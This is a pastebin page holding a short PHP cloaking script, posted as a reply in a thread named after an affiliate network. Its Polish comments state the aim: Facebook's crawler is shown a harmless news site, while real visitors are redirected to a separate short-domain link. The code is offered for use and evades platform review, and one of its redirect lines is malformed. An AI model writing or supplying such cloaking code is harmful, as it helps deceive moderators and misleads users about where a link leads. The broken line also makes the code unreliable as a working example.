From Gray Sheep, 6 Months ago, written in PHP.
This paste is a reply to MyLead from MyLead
- view diff
Embed
  1. <?php
  2.  
  3.         ob_start();
  4.  
  5.         $ua = $_SERVER['HTTP_USER_AGENT'];
  6.  
  7.         if (preg_match('/facebookexternalhit/si',$ua)) {
  8.                 echo "<script>window.location.href = ';https://www.wp.pl/; // tutaj strona, którą ma wiedzieć facebook
  9.                 die();
  10.         } else {
  11.                 echo "<script>window.location.href = 'http://zobacz.ml/86201';</script>"; // tutaj link, na który ma zostać przekierowany klient
  12.         }
  13.  
  14. ?>

Replies to Re: MyLead rss

Title Name Language When
Re: Re: MyLead Coral Motmot html5 6 Months ago.